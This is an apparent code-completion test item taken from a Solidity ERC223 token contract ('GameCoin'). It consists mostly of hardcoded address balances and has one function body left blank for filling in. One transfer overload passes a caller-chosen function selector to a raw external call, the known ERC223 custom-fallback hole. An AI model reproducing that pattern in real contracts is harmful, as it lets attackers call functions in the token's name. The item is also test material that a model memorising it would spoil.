balances[0x66D94665903a8c5A7e2E065e654610e4C0E3d510]=1155060; balances[0x180d932fbD59C12c180087085cDCDFa50f20C7DB]=1150000; balances[0x07ACDd672aB32251C38560F14bd3b325A3392a42]=8904900; balances[0x9b0Ae3d7A088101BbC027685B31020e88D776795]=101727; balances[0x9608D348627CcB2FEcd97ab2896DB2516dDCdD9F]=2000000; balances[0x82b9EedCAA518352BDb1aC80F5a214857f29a3fc]=260000; balances[0x26BD273Ad192046E4cE16f3c23f4D4A273176C6c]=400000; balances[0x3707D0B7EB1A3e70E2a892aAD4938be493b053Ef]=995000; balances[0x687Eab8387faFca0E894c7890571cb8885d06252]=100000; balances[0x29B41749C1b019624dB2Eca34852aAd1435E2FB2]=1150000; balances[0x985B1beC38e6402C9EE39b6f0c26518899026e4c]=1000000; balances[0x0674C588aB53256a0ef619CAfB459324Dc8Ea009]=1655620; balances[0x84A3A12B84C57E1Fe22fAB1CC3Ad40308cB53ecd]=3980559; balances[0x0B8a97a036bCc47707a11231362435e937f35536]=900000; balances[0x99DfCa33bAABC6812Ebe8C790EeD515D8B36B69E]=160000; balances[0xF85D5c4197caa5ec2fC97761b0D51A012F4BE84f]=11525; balances[0xbBb40eC9E24C6D387843dfEA84Baa5E8BD6Fd3e9]=2000000; balances[0x8df3185D971B5C657D0f2E9B53Dc0bBe5912F42e]=1000000; balances[0xa1ec5e1274A5FA126415453968c9929c3F91FEE7]=100000; balances[0x3607e4119Ef3E2a72E55D18B5feaA81c6140E85e]=200000; balances[0x26a74e056EB4E3607792DCd87070E468878d14E9]=70000; balances[0x517DB8116c84888Fa8013AB18B7E5F2f5e152508]=100000; balances[0x547376929E8A4abcC04c32268c43d4924f2Ac985]=1749903; balances[0xA6d8aD119eAC13Fe161BEff88be65FC9624C1340]=942438; balances[0xdb090dDaC7A159Eb6161c8591aED719d80875f37]=996417; balances[0x922D65456B8B1DeDC6F3EFcDB2981163144E96ee]=48300; balances[0x63235E4764A0072fE68Bdd32D1A16813E5fc9d49]=1457548; balances[0x68aD20aa347f5E719EF4476B25154B4d547a6275]=753951; balances[0x75393B6949157376f93C1e56220ACD5457323135]=1506758; balances[0x1796c3f4E9E877A79df5923bf8bE9aB925F7deD4]=200000; balances[0xF0ED57958dD75DBD20374D46F1547dED0D717b4b]=1000000; balances[0x1a2EB5ADf16aA5915AC70f6C530680945F5DAdF4]=132170; balances[0x5ec85d2f4891bB5034bE10BA9B3B0253cc394Cd9]=205299; balances[0x179278CB0659957675f9f3E7f949C3CcA283F153]=110000; balances[0xCA4bB096407E7c2b2c0E67D5173FD9BB8E452647]=100000; balances[0xdd8b17C94B097587108476bf1AC31Ce02cFa6c12]=181097; balances[0xA7b1a07AF73f52A9bcD22C6BF2122577bb4f7900]=130000; balances[0x38a6d1c82E8f3E04940FeA95E583Bdc24df964e4]=543404; balances[0x8A39dBa536919aB530E5b4dA9f4686A350eb2379]=1000000; balances[0x113b1501D2B6bf0f84D720Cec93928aD552749D2]=100000; balances[0xa028fAF0f1DC3176069F755AE643AbE13aA53E1b]=33596; balances[0x29D70Bb2FE698ae19cBD317fedaB4BcE3Cd3E85c]=490000; balances[0xb9aC6748E56a67D99F1869E701DedAB25A90cFC5]=100000; balances[0x90785Da382Cea9d3352D6ad8935816BADFFB3D73]=2167608; balances[0x8661C945bE98c81191BB4d6254bfe1B475AB86a5]=347154; balances[0x36bA740450a224E866b3C17B46C33CDB80a8e718]=2600365; balances[0x0DF2781a47a1fa23F3D73E79E089E5e178A72ba6]=67390; balances[0x1914D9FD18c6aC7cF2c2135be38E9D746aAa4743]=12095033; balances[0x2314401bDD5318A88A9a0c05FB07B800dae88ED8]=627865; balances[0x300bD3b89cBf26292bD58c99dB2851f14050a221]=345000; balances[0x23E2F1e5b874ac14039306804912aEb66713FCa2]=276181; balances[0xB365C8583B4fAc9C1352E3FFa2Bdb68C663C1A06]=78435; balances[0x0E9822f773e93d8C58255451f4f4Af78F5374353]=785839; balances[0xC006E4931AD1FD622B20bF66844C34676834A05f]=141365; balances[0x04a2209bB6fa3c8ae05A6133b27d628D18054853]=179713; balances[0x8bC1b34c9712Af6B891A12f9C6311b0D3B8CBfa8]=1280058; balances[0x38a548Ba2235245FD99c2116b9a1211AaD54B28D]=5014000; balances[0x55781922C48A3F51C38153365c795ca06383a177]=2415000; balances[0xB97559fe630EB888aEa2fBD6dB4a67909d7e5879]=407067; balances[0x83AB7422A347Ddb8957725F08a103107bb119328]=5510; balances[0x2D7dc7b96e9dFb393CFa466eAC6c494BDa28604a]=245000; balances[0xE804b632cd624Bd80a2a4DdBc9d0aD3984e54F93]=25000; balances[0x0CfB3a673d6E735c5b9E9a9A9Da032E960CD8CD4]=123049; balances[0x44344Dc9974706c34f53B92167275a34f4AB1EE8]=44753; balances[0x4C65118325dcd97E8724cd4E763703f7263f0DDF]=180000; balances[0x5Fc8f1D8B9Eeebf2Cf6a2eE5c20b3dEF6b2d10B5]=1044750; balances[0x0280EF5689728A8eD0eC93A49F700ea251eB64fB]=44275000; balances[0xc784a88c444cCB22eb744ffA3Dd37b78F9F29f9D]=187915; balances[0xCdc35eD04Cf4eeb74dD82eABe82cbB386Aa79D1c]=575000; balances[0xF53786FF94a25DB623A028B08B69aa875648986B]=10127000; balances[0x36621EA0B079CEDD13026e321BfC4924d55a6008]=8480114; balances[0xbE8a87EE71db2323515787Ae37A198cA898188Ae]=3453850; balances[0xB7237539824a984Cd095F6509E7D7bB710f3c6FA]=70000; balances[0x1b42dFB72B02fFB15F369C38F39E6753980B6a89]=51672; balances[0xb7FFb5174BF7382a1445C735166f49fdCa893884]=480386; balances[0x50DF172676De7d1769877fd1A4221F634bF9B9D7]=245000; balances[0x67E7e452a8671eFecb9284c483dE75C3fF1f02A9]=13168935; balances[0xBFa4d7beAcA87AaE890fe79C948Cc057B409156B]=38994; balances[0xD1c6ad2b3F196252629787D0CdCa69ED4d76a890]=111879; balances[0xBF6C51b740ee3dd7650aA9958a57A58caeaBF4d2]=1316666; balances[0x0056D18AEF3FF077826dd50c68cef9ddC84a6827]=108000; balances[0x4Bd6B497DE1a41bF4B29a4387DD4CD9030b583AA]=315392; balances[0xe38Bf41d25C21b411C406822f4eC682753E3a8b5]=6170363; balances[0x6EE0D8DE8829C0648B1f0682A04b89a13dD3Bb6d]=279361; balances[0x0e4d86cf3CbF43dBF588B9C7FF3cD29CE1a46e19]=101122; balances[0x1bD7DE6Ec470914663850bAa88E6a57B30E42e7C]=251945; balances[0x85478a6aD555Ef567B9ff2acdF0024DD643D16D6]=1990000; balances[0x1b84B3FD554d2338926D43A0cdd4D7aFD7d62E29]=10000000; balances[0x92844ad0530580F3ecc459f7B203a1853027bD01]=6900000; balances[0x2E87Eb67a51fD130Ab4d056f48c6256B201E2a96]=260792; balances[0x56D18AEf3Ff077826dD50c68cef9ddC84a6827ee]=6080000; balances[0x33c33E5F1C41477df3715575A8f0CC9E2330C3A8]=223228; balances[0x5765725f2a0e30DABcFc838701Ed01CaaB0564e8]=354161; balances[0x058dfCDB62C93a5f78e8C5D162911f46269aDB4c]=2500000; balances[0x826f679FBDCAC418352737dDf57dbddDE37C3603]=16100; balances[0xAFfb92c9bf7Fe534a38E29428a89dfFf91F06362]=65676; balances[0xd8A3B9456cB819f19Cf230bB5b31f1d88f6A128F]=140000; balances[0x47c0f4ADe7C8A071EA98DB4739F1fdEfFcb89bE0]=10350200; balances[0x3271bB92A304503Cb09a58e9f822DFD9C5187095]=279361; balances[0x5D4545ab1016039F2CA7f6038d2044069e4EF6a0]=5000000; balances[0x4F18A7fE4e3476191098453F973d93c120a5046b]=94817; balances[0x9157C680585718ffdb621031cC93b6EcC4cA763C]=320499; balances[0xF6eBf541d7cfBC0cB3ACeF0b2aeF70992db5abE4]=3720; balances[0x18556A2F95d86F4681420c97a2b3EcE70b07F54C]=29763; balances[0xA6189D516d88857583Af24A500Ae47E5326b2aBf]=529049; balances[0x211af5659bCec2cf14AcF7Ef3069C8be9c318D3C]=416667; balances[0xFbD1Db8B6F9B0c3f47a9f731200CA85725aADdD2]=124271; balances[0xB469C927e1a8485d8ae2F6e16b1654167Bb185D6]=416667; balances[0x8C00526818eeCA6b4BdA0fD534b8f1d53c78E200]=200000; balances[0x007aDfB8C0Fa143E9c0d4260172D88A3ef38F6e9]=365198; balances[0x6856f0FF9619bD151bD4E34cF8a9B613d3A0d161]=731882; balances[0x1C0576530BBB246d834F847b8EB634377CCC5eD2]=700065; balances[0x5106B0860475CdF3F74D1B3fdfc5619eE2C51Aa5]=141377; balances[0xc076c1C52BfDBb15507102AaDA4473a039963F4f]=25000000; balances[0x93970080A078980B8B121A556A60f3a114FB9169]=706889; balances[0x9FfDca13b7ea0ddE97Dce2a286E453518eF34C00]=744093; balances[0x65c6D15C2772B42c745c980dbcB5FB0f74974385]=26043; balances[0x961E7e3558F31C647fc4D39B0aC2544E786cCd3f]=333668; balances[0xA07b23625BD37378f24023bc7B55eB501F3cC4Ed]=96732; balances[0x73F15eBEBDe578024A60A4cDf626689efF2B9065]=372046; balances[0x9865F77f5A21595329f05A9D8a47F6Da966E0b38]=23029; balances[0x65c6f7A45A005CCC1979599473aA79Ca73D6efb0]=57317; balances[0xa0D2F4B648beAff668dDBa8e748Ac135c4c49F84]=369639; balances[0x9f8EdE9F051f946788211549b70CfEF5c81B447B]=1000000; balances[0xAbe5CCb78502727c8CF17CfA79b218e889DD62bB]=102004; balances[0xE6ba478c352DE046aa3D9279A61A43850F3a609c]=101008; balances[0xd889C102e974ef2bA128D3caa60C463A3ae8F989]=163700; balances[0x803CbCF07c4cFA1874dad6BCeD796aB5320b3d89]=4500; balances[0xe8621096d55C7B970bF88cc4e597f29dA4b55218]=170455; balances[0x4347da950003a9C0E477eC625CD1b57620B762DE]=1150000; balances[0x8Cf2Bef55EA9a7908029853CF6289356f24e332B]=210833; balances[0xC6B24D95E69D9F74eA90C419F4B4F71e6433b2EE]=13761; balances[0x9B1f1962b65deAA7c1C495a36767f48019f24205]=57500; balances[0x976d00C6aaf3E49E2615665D81B70080933D8623]=516488; balances[0xafCe1E95eB00824B0368E2574c81ea04252D09aA]=86071; balances[0x60995c4c4b7B9EA3D6dE08a7bf8AAf1188aF943B]=27523; balances[0xc50c9457a5b0849999e2b89db8dDeA23436f3c46]=61345; balances[0x042a3E1aB9eB9Aa7B06c63eaAfb99F0EEE37c9aC]=42000; balances[0x52437Ce5c02de9B0A5D933E6902a9509f33353B4]=86071; balances[0x6FBb288E14a37a94f69c18a0eD24FaC1145b9900]=522827500; balances[0x33C8d18e9b46872CeBb31384bFBEc53Cb32Ccf12]=24876206872; name = "GameCoin"; symbol = "GMC"; decimals = 2; } // Function to access name of token . function name() constant returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant returns (uint48 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint48 _value, bytes _data, string _custom_fallback) returns (bool success) { if(isContract(_to)) { require(balanceOf(msg.sender) >= _value); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint48 _value, bytes _data) returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint48 _value) returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint48 _value, bytes _data) private returns (bool success) {<FILL_FUNCTION_BODY> } //function that is called when transaction target is a contract function transferToContract(address _to, uint48 _value, bytes _data) private returns (bool success) { require(balanceOf(msg.sender) >= _value); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) constant returns (uint48 balance) { return balances[_owner]; } }
contract ERC223Token is ERC223, SafeMath { mapping(address => uint48) balances; string public name; string public symbol; uint8 public decimals; uint48 public totalSupply; function ERC223Token() public { totalSupply = 25907002099; balances[0x535fC82388b0FF37248B5100803C3FA00FF076cB]=129350000; balances[0x329504f7Cf737d583AB6AC3Cabd725ec1bF329a4]=7636000; balances[0xCC7E72c949a71044D7f22294c7d9aB0524cCAFf7]=1; balances[0xd590955D43bfbe93A3c51b2d6BAFc886C24a4B87]=110; balances[0x6B6d0B5842c61153d89743040B19C760DDA647B5]=388300; balances[0xcb9D6ad63a4487D28545F9Bd3c9d2B2Cf374803b]=1054000; balances[0xb700402053ac42638C83B9a791f03F4c9bF16854]=330000; balances[0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98]=1484598; balances[0x04f04c5F2e735A223FDEFe94c94978F77c344FB8]=1100000; balances[0xB66844cD7EC75b91FE62aB5A0E306132485C9527]=179391; balances[0xC4CE380FcfaD899F9A7aCF8F13690dbE387FB8db]=1185800; balances[0xe02E96193e84FCc63F2D488a7c9448B43aD904A4]=1140700; balances[0xA2fE32aA95f9771F596089CC171dD10cA3d5761C]=44000; balances[0xd6484a997129938709fAb588Fd6F55B0A684ab56]=21890000; balances[0x9a6F14cEaD3521142E678fD0fEe294881449D889]=2204925; balances[0xb3ce93Ef88d0ea70cafc029b4238CBa3b704354d]=1519400; balances[0x7eD1E469fCb3EE19C0366D829e291451bE638E59]=304722; balances[0xAAb8805f5626760b612812b83D77F96671E222e2]=1492589; balances[0x7205d8e2Ff6012392Ac4C0c9fb5125F8Abb3ef6d]=1100000; balances[0xEC348184cA6C85d12cA822Dc01FAbEb1d199e996]=1100000; balances[0xA56F95FC14bC4D2953a819c20c0C7078a08ef7Aa]=6600000; balances[0x5aD299927508d786E469AadDf34EEDDD4aCd96A5]=880000; balances[0xF46DBA0c3Cce9d3b2Ce371952b72e7F66b62BE95]=1100000; balances[0xd5f3b11b2E20fa1B7018e93128BF6faf5bda2BD7]=4894374; balances[0x3b1a8135E0b445097c83F780F0B068F21cEAa7b4]=1052381; balances[0xF27Fef813A7D7E17f7907a6043c52971a0b0209f]=769780; balances[0xf3cAD07CB033F68A35e388527e55F1E804f8704a]=2088246; balances[0x5B1286d898eD28d8a7A59b224Fc4c252461e0b64]=384957; balances[0xBb265B80c2eFe6f071432FBA0B1527Ab5Ba9F91F]=319985; balances[0x259DF6B527FB06757dB3295862aC8dc292466435]=98550; balances[0xeb62ae01812773BF3C270221a9b511c86AaC1546]=296120; balances[0x51A7016D90B58855D89efFC70c94e9808cabE680]=106012; balances[0x919612F15F7734cD59008B2E21ba7bAC435bB8A8]=258912; balances[0xDD6be4514A348FB2d422d176dEC81B8666B143dd]=34942; balances[0xf0660eFb282102dB8B57EaF39F883833E8b62821]=679598; balances[0x267C817c2Ea39C31C7075A5548d5356bcf205eFD]=186215; balances[0x863aACEbF0030e26e14F9ff552b654171Ff6372F]=295686; balances[0x14A1C2F56b7953aA4A93700C346740b9A25150F8]=148344; balances[0xFc8425A1B01d1d74c2281Da2975cB77422d4CEA3]=2961211; balances[0x4FdB2ee1EbEb1886976FA9aDAaA42a1c090335aD]=1124099; balances[0x019BDC7F3DDF5aD4A5695e16ACfe02a4d32aEA5f]=116046; balances[0xE11692E90dE2A2c4F220Fb0597CFdd22D5eFAcF1]=17767; balances[0x6f06F186C8dd8D0cAd3835946A857aed261C5652]=20038512; balances[0x24F7a01Fa083F8DB8A5b4dd46Fb003F1fd1C47d5]=3378741; balances[0x92D8bfD2d2559a25a5D43e84f4430915e38B980F]=264302; balances[0x8785816569941D86DFAE7adFdd92C2f50d3a5Ad6]=397479; balances[0x7B2C6cB5bE1a99118ce38e373d58adF04d8e6719]=290277; balances[0xa50da0F0940A852927740470e1A0a6016e9a3B65]=79800; balances[0x9d2C3aA31Ffb61180214Ca87296A2f4F8DDA6472]=1029302; balances[0x93A1B766A75DaeCa4a05E08ee5d7781f3d6D72B1]=7279842; balances[0x96BD54Caefd00EeFe1e836677319B6631C0f67E0]=525000; balances[0x0072e4Fd215f7B992D0A19fAdC58DBfAC568CE4a]=1155000; balances[0xF9eE68058FA43a79834897793B7B34d0135b98BB]=11500; balances[0x2A9c9a5475A6E24A530ccf5527A045F4dBf3E78e]=1138500; balances[0x995C6B0d4F3cca7d0081f18d4b48faa135eA47b3]=38755; balances[0x679d24F2F5AAf0E7bB6dd49e45B41CCff0779564]=459493; balances[0x9235881033C4B57be38B1d28921451F90bd7744d]=114493; balances[0xDf61cA237F6E782df0E090f58c8534e8794bAE64]=271231; balances[0xEDdb1aBC1e37953F91ca6E3a11611Be79719fF5d]=46000; balances[0xdf15A49e50Fa9f2D71B922Ae325a5AFB381A31f1]=1150000; balances[0x269E20e3dA89481d6F0De3408c5448AE44a313B8]=250534; balances[0x8D1F338F8abd714fd09ec13C100A0d7dF693cd5D]=282900; balances[0xb703CE71557095b9566348928bBFD4a991456936]=207000; balances[0x3877d21b3f1ffDF602840366aDf2350b8E1F8210]=298492; balances[0x9A77E0910034A3B809687f8340b5BD2a184ED5bb]=345000; balances[0x8861fd090e71D72A7ca0Aa0B24dD5D664b52cF03]=1150000; balances[0x0098C71bCA3EBD977147928A4dA574fd138571AC]=465750; balances[0x7131f3FCc9177F1176378635efD30A9109cF3cdE]=1682450; balances[0x90FcD92B396CFD6951d8DdCd0Cdd2654436C2840]=1150000; balances[0x5Bd46d1744B2AAAd591B01D23786336bF7faC094]=2961897; balances[0x0C95959EB2056d86552baa4B859288C84D74a7e9]=3450000; balances[0x8755A5619E2D2FC56e263FcBE26116250941d477]=23407; balances[0xfDbe03a53aF5e4509AEBD9D148B41eEc34776B7c]=1137993; balances[0x72a63625144327FC6A58867699107934E7F0B609]=438399; balances[0x4EE354582a9Cc60Eb086CAEB514234c1EfE14D9F]=115000; balances[0xBF0A1d55528EEd2990F752A6bccd24dd772421f5]=1725000; balances[0x670226836D7Bf336bfd172086d682002a30D63e3]=1010850; balances[0xd8F83AF83B6334be21a166d203e84D9c4f6e33e0]=396243; balances[0xd175fb3b65eDC995DC9b2dAE705270448D8A5231]=328900; balances[0x86dE9262Aa13f1351C9009B6BC1B1a432C96f005]=274068; balances[0x08E004E3741052Fd00e49384088e2D6F81f97fd5]=1264492; balances[0xc1F81207791DDa997542625cb86CC0D8Af7dfAb4]=1138500; balances[0x913E5A823A614ad226c810e55154f3f385F647F0]=1150000; balances[0x7f4823876318faD7321FD813b7aBd4A7C60C12A5]=1150000; balances[0xcd9E6E0E63C5611ab1988e0569E3aD89b86086c6]=199299; balances[0xb1Dd23a37776c1d3E1F0c874d1F72589F3c59E44]=1138500; balances[0xfE2ceCCC914be290d49712d4715438268FC76359]=1150000; balances[0x3dd9cFE0D6eE68163aCd1EeB6De9f4D3A580839D]=505825; balances[0x9323D4704fB877CD090Ba715B11Da9A3eDFdA7Ef]=275000; balances[0x0c747c7EEdf05515425AdD4061911Ae9F039F4Df]=821160; balances[0x51a23f481037CA208086f42FE83D28B71c1EbC2c]=345000; balances[0x42E1Fb8EC1830DBe4e5Ed5Ce60Bd307D3AcBB5a1]=14950; balances[0x4fa531A7da9b0FA37cC60eb26eE7393B39c616B1]=945000; balances[0x9383D952e4aa5C33c86d11932877D1D523097702]=221958; balances[0xd5FECA4d252b298d7500c05766049210e2BD6C03]=600000; balances[0xf4e5DA75e054FE7373a8Db3B5aD4E2d35404b7F3]=1096; balances[0xA46BBC28cB381A6c383DAE0D3eAb39A78d9bd704]=342402; balances[0xc94AB3B27218b1E5C24Fdb7cE169EB8bD5a58060]=1922965; balances[0x7111B872B505992b2a61f5F3b7A31E6A589F9ba2]=2265500; balances[0x66D94665903a8c5A7e2E065e654610e4C0E3d510]=1155060; balances[0x180d932fbD59C12c180087085cDCDFa50f20C7DB]=1150000; balances[0x07ACDd672aB32251C38560F14bd3b325A3392a42]=8904900; balances[0x9b0Ae3d7A088101BbC027685B31020e88D776795]=101727; balances[0x9608D348627CcB2FEcd97ab2896DB2516dDCdD9F]=2000000; balances[0x82b9EedCAA518352BDb1aC80F5a214857f29a3fc]=260000; balances[0x26BD273Ad192046E4cE16f3c23f4D4A273176C6c]=400000; balances[0x3707D0B7EB1A3e70E2a892aAD4938be493b053Ef]=995000; balances[0x687Eab8387faFca0E894c7890571cb8885d06252]=100000; balances[0x29B41749C1b019624dB2Eca34852aAd1435E2FB2]=1150000; balances[0x985B1beC38e6402C9EE39b6f0c26518899026e4c]=1000000; balances[0x0674C588aB53256a0ef619CAfB459324Dc8Ea009]=1655620; balances[0x84A3A12B84C57E1Fe22fAB1CC3Ad40308cB53ecd]=3980559; balances[0x0B8a97a036bCc47707a11231362435e937f35536]=900000; balances[0x99DfCa33bAABC6812Ebe8C790EeD515D8B36B69E]=160000; balances[0xF85D5c4197caa5ec2fC97761b0D51A012F4BE84f]=11525; balances[0xbBb40eC9E24C6D387843dfEA84Baa5E8BD6Fd3e9]=2000000; balances[0x8df3185D971B5C657D0f2E9B53Dc0bBe5912F42e]=1000000; balances[0xa1ec5e1274A5FA126415453968c9929c3F91FEE7]=100000; balances[0x3607e4119Ef3E2a72E55D18B5feaA81c6140E85e]=200000; balances[0x26a74e056EB4E3607792DCd87070E468878d14E9]=70000; balances[0x517DB8116c84888Fa8013AB18B7E5F2f5e152508]=100000; balances[0x547376929E8A4abcC04c32268c43d4924f2Ac985]=1749903; balances[0xA6d8aD119eAC13Fe161BEff88be65FC9624C1340]=942438; balances[0xdb090dDaC7A159Eb6161c8591aED719d80875f37]=996417; balances[0x922D65456B8B1DeDC6F3EFcDB2981163144E96ee]=48300; balances[0x63235E4764A0072fE68Bdd32D1A16813E5fc9d49]=1457548; balances[0x68aD20aa347f5E719EF4476B25154B4d547a6275]=753951; balances[0x75393B6949157376f93C1e56220ACD5457323135]=1506758; balances[0x1796c3f4E9E877A79df5923bf8bE9aB925F7deD4]=200000; balances[0xF0ED57958dD75DBD20374D46F1547dED0D717b4b]=1000000; balances[0x1a2EB5ADf16aA5915AC70f6C530680945F5DAdF4]=132170; balances[0x5ec85d2f4891bB5034bE10BA9B3B0253cc394Cd9]=205299; balances[0x179278CB0659957675f9f3E7f949C3CcA283F153]=110000; balances[0xCA4bB096407E7c2b2c0E67D5173FD9BB8E452647]=100000; balances[0xdd8b17C94B097587108476bf1AC31Ce02cFa6c12]=181097; balances[0xA7b1a07AF73f52A9bcD22C6BF2122577bb4f7900]=130000; balances[0x38a6d1c82E8f3E04940FeA95E583Bdc24df964e4]=543404; balances[0x8A39dBa536919aB530E5b4dA9f4686A350eb2379]=1000000; balances[0x113b1501D2B6bf0f84D720Cec93928aD552749D2]=100000; balances[0xa028fAF0f1DC3176069F755AE643AbE13aA53E1b]=33596; balances[0x29D70Bb2FE698ae19cBD317fedaB4BcE3Cd3E85c]=490000; balances[0xb9aC6748E56a67D99F1869E701DedAB25A90cFC5]=100000; balances[0x90785Da382Cea9d3352D6ad8935816BADFFB3D73]=2167608; balances[0x8661C945bE98c81191BB4d6254bfe1B475AB86a5]=347154; balances[0x36bA740450a224E866b3C17B46C33CDB80a8e718]=2600365; balances[0x0DF2781a47a1fa23F3D73E79E089E5e178A72ba6]=67390; balances[0x1914D9FD18c6aC7cF2c2135be38E9D746aAa4743]=12095033; balances[0x2314401bDD5318A88A9a0c05FB07B800dae88ED8]=627865; balances[0x300bD3b89cBf26292bD58c99dB2851f14050a221]=345000; balances[0x23E2F1e5b874ac14039306804912aEb66713FCa2]=276181; balances[0xB365C8583B4fAc9C1352E3FFa2Bdb68C663C1A06]=78435; balances[0x0E9822f773e93d8C58255451f4f4Af78F5374353]=785839; balances[0xC006E4931AD1FD622B20bF66844C34676834A05f]=141365; balances[0x04a2209bB6fa3c8ae05A6133b27d628D18054853]=179713; balances[0x8bC1b34c9712Af6B891A12f9C6311b0D3B8CBfa8]=1280058; balances[0x38a548Ba2235245FD99c2116b9a1211AaD54B28D]=5014000; balances[0x55781922C48A3F51C38153365c795ca06383a177]=2415000; balances[0xB97559fe630EB888aEa2fBD6dB4a67909d7e5879]=407067; balances[0x83AB7422A347Ddb8957725F08a103107bb119328]=5510; balances[0x2D7dc7b96e9dFb393CFa466eAC6c494BDa28604a]=245000; balances[0xE804b632cd624Bd80a2a4DdBc9d0aD3984e54F93]=25000; balances[0x0CfB3a673d6E735c5b9E9a9A9Da032E960CD8CD4]=123049; balances[0x44344Dc9974706c34f53B92167275a34f4AB1EE8]=44753; balances[0x4C65118325dcd97E8724cd4E763703f7263f0DDF]=180000; balances[0x5Fc8f1D8B9Eeebf2Cf6a2eE5c20b3dEF6b2d10B5]=1044750; balances[0x0280EF5689728A8eD0eC93A49F700ea251eB64fB]=44275000; balances[0xc784a88c444cCB22eb744ffA3Dd37b78F9F29f9D]=187915; balances[0xCdc35eD04Cf4eeb74dD82eABe82cbB386Aa79D1c]=575000; balances[0xF53786FF94a25DB623A028B08B69aa875648986B]=10127000; balances[0x36621EA0B079CEDD13026e321BfC4924d55a6008]=8480114; balances[0xbE8a87EE71db2323515787Ae37A198cA898188Ae]=3453850; balances[0xB7237539824a984Cd095F6509E7D7bB710f3c6FA]=70000; balances[0x1b42dFB72B02fFB15F369C38F39E6753980B6a89]=51672; balances[0xb7FFb5174BF7382a1445C735166f49fdCa893884]=480386; balances[0x50DF172676De7d1769877fd1A4221F634bF9B9D7]=245000; balances[0x67E7e452a8671eFecb9284c483dE75C3fF1f02A9]=13168935; balances[0xBFa4d7beAcA87AaE890fe79C948Cc057B409156B]=38994; balances[0xD1c6ad2b3F196252629787D0CdCa69ED4d76a890]=111879; balances[0xBF6C51b740ee3dd7650aA9958a57A58caeaBF4d2]=1316666; balances[0x0056D18AEF3FF077826dd50c68cef9ddC84a6827]=108000; balances[0x4Bd6B497DE1a41bF4B29a4387DD4CD9030b583AA]=315392; balances[0xe38Bf41d25C21b411C406822f4eC682753E3a8b5]=6170363; balances[0x6EE0D8DE8829C0648B1f0682A04b89a13dD3Bb6d]=279361; balances[0x0e4d86cf3CbF43dBF588B9C7FF3cD29CE1a46e19]=101122; balances[0x1bD7DE6Ec470914663850bAa88E6a57B30E42e7C]=251945; balances[0x85478a6aD555Ef567B9ff2acdF0024DD643D16D6]=1990000; balances[0x1b84B3FD554d2338926D43A0cdd4D7aFD7d62E29]=10000000; balances[0x92844ad0530580F3ecc459f7B203a1853027bD01]=6900000; balances[0x2E87Eb67a51fD130Ab4d056f48c6256B201E2a96]=260792; balances[0x56D18AEf3Ff077826dD50c68cef9ddC84a6827ee]=6080000; balances[0x33c33E5F1C41477df3715575A8f0CC9E2330C3A8]=223228; balances[0x5765725f2a0e30DABcFc838701Ed01CaaB0564e8]=354161; balances[0x058dfCDB62C93a5f78e8C5D162911f46269aDB4c]=2500000; balances[0x826f679FBDCAC418352737dDf57dbddDE37C3603]=16100; balances[0xAFfb92c9bf7Fe534a38E29428a89dfFf91F06362]=65676; balances[0xd8A3B9456cB819f19Cf230bB5b31f1d88f6A128F]=140000; balances[0x47c0f4ADe7C8A071EA98DB4739F1fdEfFcb89bE0]=10350200; balances[0x3271bB92A304503Cb09a58e9f822DFD9C5187095]=279361; balances[0x5D4545ab1016039F2CA7f6038d2044069e4EF6a0]=5000000; balances[0x4F18A7fE4e3476191098453F973d93c120a5046b]=94817; balances[0x9157C680585718ffdb621031cC93b6EcC4cA763C]=320499; balances[0xF6eBf541d7cfBC0cB3ACeF0b2aeF70992db5abE4]=3720; balances[0x18556A2F95d86F4681420c97a2b3EcE70b07F54C]=29763; balances[0xA6189D516d88857583Af24A500Ae47E5326b2aBf]=529049; balances[0x211af5659bCec2cf14AcF7Ef3069C8be9c318D3C]=416667; balances[0xFbD1Db8B6F9B0c3f47a9f731200CA85725aADdD2]=124271; balances[0xB469C927e1a8485d8ae2F6e16b1654167Bb185D6]=416667; balances[0x8C00526818eeCA6b4BdA0fD534b8f1d53c78E200]=200000; balances[0x007aDfB8C0Fa143E9c0d4260172D88A3ef38F6e9]=365198; balances[0x6856f0FF9619bD151bD4E34cF8a9B613d3A0d161]=731882; balances[0x1C0576530BBB246d834F847b8EB634377CCC5eD2]=700065; balances[0x5106B0860475CdF3F74D1B3fdfc5619eE2C51Aa5]=141377; balances[0xc076c1C52BfDBb15507102AaDA4473a039963F4f]=25000000; balances[0x93970080A078980B8B121A556A60f3a114FB9169]=706889; balances[0x9FfDca13b7ea0ddE97Dce2a286E453518eF34C00]=744093; balances[0x65c6D15C2772B42c745c980dbcB5FB0f74974385]=26043; balances[0x961E7e3558F31C647fc4D39B0aC2544E786cCd3f]=333668; balances[0xA07b23625BD37378f24023bc7B55eB501F3cC4Ed]=96732; balances[0x73F15eBEBDe578024A60A4cDf626689efF2B9065]=372046; balances[0x9865F77f5A21595329f05A9D8a47F6Da966E0b38]=23029; balances[0x65c6f7A45A005CCC1979599473aA79Ca73D6efb0]=57317; balances[0xa0D2F4B648beAff668dDBa8e748Ac135c4c49F84]=369639; 